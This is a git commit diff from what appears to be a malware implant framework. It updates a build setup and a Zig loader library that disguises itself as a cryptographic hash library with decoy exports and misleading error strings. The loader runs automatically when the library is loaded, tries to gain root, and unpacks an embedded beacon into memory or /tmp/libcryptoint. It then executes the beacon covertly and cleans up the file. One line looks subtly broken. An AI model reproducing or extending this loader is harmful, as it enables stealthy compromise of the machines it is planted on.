feat: made unix-loader more stable on FreeBSD
This commit is contained in:
parent
d8a277e769
commit
00331ec550
13
Cargo.lock
generated
13
Cargo.lock
generated
@ -3205,6 +3205,9 @@ dependencies = [
|
|||||||
[[package]]
|
[[package]]
|
||||||
name = "sparse-infector"
|
name = "sparse-infector"
|
||||||
version = "2.0.0"
|
version = "2.0.0"
|
||||||
|
dependencies = [
|
||||||
|
"sparse-actions",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "sparse-server"
|
name = "sparse-server"
|
||||||
@ -3253,10 +3256,20 @@ dependencies = [
|
|||||||
[[package]]
|
[[package]]
|
||||||
name = "sparse-unix-beacon"
|
name = "sparse-unix-beacon"
|
||||||
version = "2.0.0"
|
version = "2.0.0"
|
||||||
|
dependencies = [
|
||||||
|
"errno",
|
||||||
|
"libc",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "sparse-unix-installer"
|
name = "sparse-unix-installer"
|
||||||
version = "2.0.0"
|
version = "2.0.0"
|
||||||
|
dependencies = [
|
||||||
|
"rand 0.9.0",
|
||||||
|
"sparse-actions",
|
||||||
|
"sparse-infector",
|
||||||
|
"structopt",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "sparse-windows-beacon"
|
name = "sparse-windows-beacon"
|
||||||
|
|||||||
12
flake.nix
12
flake.nix
@ -56,12 +56,11 @@
|
|||||||
libpcap-linux-musl libpcap-freebsd;
|
libpcap-linux-musl libpcap-freebsd;
|
||||||
|
|
||||||
buildTools = with pkgs; rec {
|
buildTools = with pkgs; rec {
|
||||||
linux = [
|
base = [
|
||||||
# Tools for local compilation
|
# Tools for local compilation
|
||||||
lld
|
lld
|
||||||
zig
|
zig
|
||||||
clang
|
clang
|
||||||
glibc
|
|
||||||
libclang
|
libclang
|
||||||
mold
|
mold
|
||||||
|
|
||||||
@ -72,9 +71,10 @@
|
|||||||
binaryen
|
binaryen
|
||||||
sqlx-cli
|
sqlx-cli
|
||||||
];
|
];
|
||||||
freebsd = buildTools.linux
|
linux = buildTools.base ++ [ glibc musl ];
|
||||||
|
freebsd = buildTools.base
|
||||||
++ [ pkgsCross.x86_64-freebsd.buildPackages.clang ];
|
++ [ pkgsCross.x86_64-freebsd.buildPackages.clang ];
|
||||||
windows = buildTools.linux ++ [
|
windows = buildTools.base ++ [
|
||||||
pkgsCross.mingwW64.stdenv.cc
|
pkgsCross.mingwW64.stdenv.cc
|
||||||
pkgsCross.mingwW64.windows.pthreads
|
pkgsCross.mingwW64.windows.pthreads
|
||||||
];
|
];
|
||||||
@ -95,6 +95,10 @@
|
|||||||
# Cargo lint tools
|
# Cargo lint tools
|
||||||
taplo
|
taplo
|
||||||
cargo-deny
|
cargo-deny
|
||||||
|
|
||||||
|
# Docs
|
||||||
|
man-pages
|
||||||
|
man-pages-posix
|
||||||
];
|
];
|
||||||
|
|
||||||
craneLib = (crane.mkLib pkgs).overrideToolchain (p:
|
craneLib = (crane.mkLib pkgs).overrideToolchain (p:
|
||||||
|
|||||||
@ -181,6 +181,8 @@ let
|
|||||||
--summary all \
|
--summary all \
|
||||||
--prefix $out \
|
--prefix $out \
|
||||||
--release=small \
|
--release=small \
|
||||||
|
-Dfork \
|
||||||
|
-Dos=linux \
|
||||||
-Dbeacon=${sparse-beacon-linux}/bin/sparse-unix-beacon \
|
-Dbeacon=${sparse-beacon-linux}/bin/sparse-unix-beacon \
|
||||||
-Dtarget=x86_64-linux-musl \
|
-Dtarget=x86_64-linux-musl \
|
||||||
--verbose
|
--verbose
|
||||||
@ -201,6 +203,8 @@ let
|
|||||||
--summary all \
|
--summary all \
|
||||||
--prefix $out \
|
--prefix $out \
|
||||||
--release=small \
|
--release=small \
|
||||||
|
-Dfork \
|
||||||
|
-Dos=freebsd \
|
||||||
-Dtarget=x86_64-freebsd \
|
-Dtarget=x86_64-freebsd \
|
||||||
-Dbeacon=${sparse-beacon-freebsd}/bin/sparse-unix-beacon \
|
-Dbeacon=${sparse-beacon-freebsd}/bin/sparse-unix-beacon \
|
||||||
--sysroot ${freebsd-libs} \
|
--sysroot ${freebsd-libs} \
|
||||||
@ -219,7 +223,7 @@ let
|
|||||||
CARGO_BUILD_TARGET = "x86_64-unknown-linux-musl";
|
CARGO_BUILD_TARGET = "x86_64-unknown-linux-musl";
|
||||||
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
|
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
|
||||||
|
|
||||||
SPARSE_LOADER_LINUX = "${linux-loader}/lib/libunix-loader.so";
|
SPARSE_LOADER = "${linux-loader}/lib/libunix-loader-linux.so";
|
||||||
});
|
});
|
||||||
|
|
||||||
sparse-installer-freebsd-sysv = craneLib.buildPackage (commonArgs // {
|
sparse-installer-freebsd-sysv = craneLib.buildPackage (commonArgs // {
|
||||||
@ -232,7 +236,7 @@ let
|
|||||||
CARGO_BUILD_TARGET = "x86_64-unknown-linux-musl";
|
CARGO_BUILD_TARGET = "x86_64-unknown-linux-musl";
|
||||||
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
|
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
|
||||||
|
|
||||||
SPARSE_LOADER_FREEBSD = "${freebsd-loader}/lib/libunix-loader.so";
|
SPARSE_LOADER = "${freebsd-loader}/lib/libunix-loader-freebsd.so";
|
||||||
});
|
});
|
||||||
|
|
||||||
sparse-installer-freebsd =
|
sparse-installer-freebsd =
|
||||||
|
|||||||
@ -4,3 +4,5 @@ edition = "2024"
|
|||||||
version.workspace = true
|
version.workspace = true
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
|
libc = "0.2"
|
||||||
|
errno = "0.3"
|
||||||
|
|||||||
@ -1,3 +1,14 @@
|
|||||||
fn main() {
|
fn main() {
|
||||||
println!("Hello, world!");
|
println!("Hello, world!");
|
||||||
|
|
||||||
|
#[cfg(target_os = "freebsd")]
|
||||||
|
unsafe {
|
||||||
|
let sem = libc::sem_open(c"/libcrypto".as_ptr(), 0);
|
||||||
|
libc::sem_post(sem);
|
||||||
|
}
|
||||||
|
|
||||||
|
println!("Hello, world!");
|
||||||
|
unsafe { println!("\n{}\n", libc::getpid()) };
|
||||||
|
|
||||||
|
loop {}
|
||||||
}
|
}
|
||||||
|
|||||||
@ -1,7 +1,14 @@
|
|||||||
const std = @import("std");
|
const std = @import("std");
|
||||||
|
|
||||||
pub fn build(b: *std.Build) !void {
|
pub fn build(b: *std.Build) !void {
|
||||||
|
var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator);
|
||||||
|
defer arena.deinit();
|
||||||
|
const alloc = arena.allocator();
|
||||||
|
|
||||||
const beacon = b.option([]const u8, "beacon", "path to beacon to load") orelse std.debug.panic("Expected a path to a beacon to be provided with -Dbeacon", .{});
|
const beacon = b.option([]const u8, "beacon", "path to beacon to load") orelse std.debug.panic("Expected a path to a beacon to be provided with -Dbeacon", .{});
|
||||||
|
const target_os = b.option([]const u8, "os", "os name to inject in final binary") orelse "linux";
|
||||||
|
const fork = b.option(bool, "fork", "whether to fork or take over the process") orelse false;
|
||||||
|
|
||||||
const beacon_path = std.Build.LazyPath{ .cwd_relative = beacon };
|
const beacon_path = std.Build.LazyPath{ .cwd_relative = beacon };
|
||||||
|
|
||||||
const target = b.standardTargetOptions(.{});
|
const target = b.standardTargetOptions(.{});
|
||||||
@ -26,14 +33,21 @@ pub fn build(b: *std.Build) !void {
|
|||||||
.pic = true,
|
.pic = true,
|
||||||
});
|
});
|
||||||
|
|
||||||
|
const options = b.addOptions();
|
||||||
|
options.addOption(bool, "fork", fork);
|
||||||
|
|
||||||
libloader.addIncludePath(b.path("src"));
|
libloader.addIncludePath(b.path("src"));
|
||||||
libloader.root_module.addAnonymousImport("beacon", .{ .root_source_file = compressed_beacon });
|
libloader.root_module.addAnonymousImport("beacon", .{ .root_source_file = compressed_beacon });
|
||||||
|
libloader.root_module.addOptions("config", options);
|
||||||
|
|
||||||
|
if (target.result.os.tag == .freebsd) {
|
||||||
libloader.linkLibC();
|
libloader.linkLibC();
|
||||||
|
}
|
||||||
|
|
||||||
libloader.step.dependOn(&tool_step.step);
|
libloader.step.dependOn(&tool_step.step);
|
||||||
|
|
||||||
var lib = b.addSharedLibrary(.{
|
var lib = b.addSharedLibrary(.{
|
||||||
.name = "unix-loader",
|
.name = try std.fmt.allocPrint(alloc, "unix-loader-{s}", .{target_os}),
|
||||||
.root_source_file = b.path("src/loader.zig"),
|
.root_source_file = b.path("src/loader.zig"),
|
||||||
.target = target,
|
.target = target,
|
||||||
.optimize = optimize,
|
.optimize = optimize,
|
||||||
@ -44,8 +58,6 @@ pub fn build(b: *std.Build) !void {
|
|||||||
.name = "test-loader",
|
.name = "test-loader",
|
||||||
.root_source_file = b.path("src/test_run.zig"),
|
.root_source_file = b.path("src/test_run.zig"),
|
||||||
.target = target,
|
.target = target,
|
||||||
.optimize = optimize,
|
|
||||||
.strip = true,
|
|
||||||
});
|
});
|
||||||
|
|
||||||
lib.addIncludePath(b.path("src"));
|
lib.addIncludePath(b.path("src"));
|
||||||
|
|||||||
@ -1,4 +1,6 @@
|
|||||||
|
const builtin = @import("builtin");
|
||||||
const std = @import("std");
|
const std = @import("std");
|
||||||
|
const posix = std.posix;
|
||||||
|
|
||||||
const beacon = @embedFile("beacon");
|
const beacon = @embedFile("beacon");
|
||||||
|
|
||||||
@ -6,22 +8,23 @@ const Parameters = @cImport({
|
|||||||
@cInclude("abi.h");
|
@cInclude("abi.h");
|
||||||
}).Parameters;
|
}).Parameters;
|
||||||
|
|
||||||
fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
|
const config = @import("config");
|
||||||
std.debug.print("Test {s}", .{parameters.beacon_identifier});
|
|
||||||
|
|
||||||
const uid = std.os.linux.getuid();
|
fn open_temp() !std.fs.File {
|
||||||
_ = std.c.setuid(0);
|
switch (builtin.os.tag) {
|
||||||
|
.linux => {
|
||||||
if (std.os.linux.getuid() != 0) {
|
const fd = posix.memfd_create("", 0);
|
||||||
return;
|
return std.fs.File{ .handle = fd };
|
||||||
|
},
|
||||||
|
else => {
|
||||||
|
return std.fs.createFileAbsolute("/tmp/libcryptoint", .{ .mode = 0o775 });
|
||||||
|
},
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
const pid = std.c.fork();
|
fn exec_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
|
||||||
if (pid == 0) {
|
|
||||||
if (std.c.fork() == 0) {
|
|
||||||
const exe_fd = try std.posix.memfd_create("", 0);
|
|
||||||
var gzipped_exe_stream = std.io.fixedBufferStream(gzipped_exe);
|
var gzipped_exe_stream = std.io.fixedBufferStream(gzipped_exe);
|
||||||
var exe_file = std.fs.File{ .handle = exe_fd };
|
var exe_file = try open_temp();
|
||||||
|
|
||||||
try std.compress.gzip.decompress(gzipped_exe_stream.reader(), exe_file.writer());
|
try std.compress.gzip.decompress(gzipped_exe_stream.reader(), exe_file.writer());
|
||||||
|
|
||||||
@ -36,7 +39,12 @@ fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
|
|||||||
defer arena.deinit();
|
defer arena.deinit();
|
||||||
const alloc = arena.allocator();
|
const alloc = arena.allocator();
|
||||||
|
|
||||||
const file_path = try std.fmt.allocPrint(alloc, "/proc/self/fd/{d}", .{exe_fd});
|
const file_path = switch (builtin.os.tag) {
|
||||||
|
.linux => try std.fmt.allocPrint(alloc, "/proc/self/fd/{d}", .{exe_file.handle}),
|
||||||
|
else => "/tmp/libcryptoint",
|
||||||
|
};
|
||||||
|
|
||||||
|
exe_file.close();
|
||||||
|
|
||||||
const beacon_name = try alloc.dupeZ(u8, parameters.beacon_name[0..parameters.beacon_name_length]);
|
const beacon_name = try alloc.dupeZ(u8, parameters.beacon_name[0..parameters.beacon_name_length]);
|
||||||
const file_path_ptr = try alloc.dupeZ(u8, file_path);
|
const file_path_ptr = try alloc.dupeZ(u8, file_path);
|
||||||
@ -44,23 +52,60 @@ fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
|
|||||||
const argv: [*:null]const ?[*:0]const u8 = &.{ beacon_name, null };
|
const argv: [*:null]const ?[*:0]const u8 = &.{ beacon_name, null };
|
||||||
const envp: [*:null]const ?[*:0]const u8 = &.{null};
|
const envp: [*:null]const ?[*:0]const u8 = &.{null};
|
||||||
|
|
||||||
_ = std.c.execve(file_path_ptr, argv, envp);
|
switch (posix.execveZ(file_path_ptr, argv, envp)) {
|
||||||
std.c.exit(1);
|
else => |e| {
|
||||||
|
if (builtin.mode == .Debug) {
|
||||||
|
std.debug.print("Internal error performing hash! {s}\n", .{@errorName(e)});
|
||||||
}
|
}
|
||||||
std.c.exit(0);
|
},
|
||||||
} else {
|
|
||||||
var status: c_int = 0;
|
|
||||||
_ = std.c.waitpid(pid, &status, 0);
|
|
||||||
_ = std.c.kill(pid, std.c.SIG.KILL);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
_ = std.c.setuid(uid);
|
posix.exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
|
||||||
|
var uid: usize = undefined;
|
||||||
|
if (builtin.os.tag == .linux) {
|
||||||
|
uid = std.os.linux.syscall0(.getuid);
|
||||||
|
try posix.setuid(0);
|
||||||
|
|
||||||
|
if (std.os.linux.syscall0() != 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!config.fork) {
|
||||||
|
try exec_beacon(gzipped_exe, parameters);
|
||||||
|
} else {
|
||||||
|
const pid = try posix.fork();
|
||||||
|
if (pid == 0) {
|
||||||
|
if (try posix.fork() == 0) {
|
||||||
|
try exec_beacon(gzipped_exe, parameters);
|
||||||
|
} else if (builtin.os.tag != .linux) {
|
||||||
|
const sem = std.c.sem_open("/libcrypto", 0x200, 0o775, 0);
|
||||||
|
|
||||||
|
_ = std.c.sem_wait(sem);
|
||||||
|
|
||||||
|
posix.unlink("/tmp/libcryptoint") catch {};
|
||||||
|
}
|
||||||
|
posix.exit(0);
|
||||||
|
} else {
|
||||||
|
_ = posix.waitpid(pid, 0);
|
||||||
|
if (builtin.os.tag == .linux) {
|
||||||
|
posix.kill(pid, 9) catch {};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (builtin.os.tag == .linux) {
|
||||||
|
try posix.setuid(uid);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
export fn hash_internals(parameters: *Parameters) void {
|
export fn hash_internals(parameters: *Parameters) void {
|
||||||
use_beacon(beacon, parameters) catch |err| {
|
use_beacon(beacon, parameters) catch |err| {
|
||||||
if (@import("builtin").mode == .Debug) {
|
if (builtin.mode == .Debug) {
|
||||||
std.debug.print("Error using hash internals! {any}", .{err});
|
std.debug.print("External error computing hash! {any}\n", .{err});
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|||||||
@ -20,7 +20,8 @@ fn fill_parameters() !void {
|
|||||||
@memcpy(@as([*]u8, @ptrCast(&file_parameters)), ¶m_buffer);
|
@memcpy(@as([*]u8, @ptrCast(&file_parameters)), ¶m_buffer);
|
||||||
}
|
}
|
||||||
|
|
||||||
export fn calculate_hash() void {
|
export fn calculate_hash() callconv(.C) void {
|
||||||
|
std.io.getStdOut().writeAll("Loaded!") catch {};
|
||||||
fill_parameters() catch |err| {
|
fill_parameters() catch |err| {
|
||||||
if (dbg) {
|
if (dbg) {
|
||||||
std.debug.print("Error calculating hash! {any}", .{err});
|
std.debug.print("Error calculating hash! {any}", .{err});
|
||||||
@ -30,6 +31,8 @@ export fn calculate_hash() void {
|
|||||||
hash_internals(&file_parameters);
|
hash_internals(&file_parameters);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export const init_array: [1]*const fn () callconv(.C) void linksection(".init_array") = .{&calculate_hash};
|
||||||
|
|
||||||
export fn md4sum() void {}
|
export fn md4sum() void {}
|
||||||
export fn md5sum() void {}
|
export fn md5sum() void {}
|
||||||
export fn sha256sum() void {}
|
export fn sha256sum() void {}
|
||||||
|
|||||||
@ -1,5 +1,11 @@
|
|||||||
extern fn hash_internals() void;
|
extern fn hash_internals(parameters: *Parameters) void;
|
||||||
|
|
||||||
|
const Parameters = @cImport({
|
||||||
|
@cInclude("abi.h");
|
||||||
|
}).Parameters;
|
||||||
|
|
||||||
|
var file_parameters: Parameters = .{};
|
||||||
|
|
||||||
pub fn main() void {
|
pub fn main() void {
|
||||||
hash_internals();
|
hash_internals(&file_parameters);
|
||||||
}
|
}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user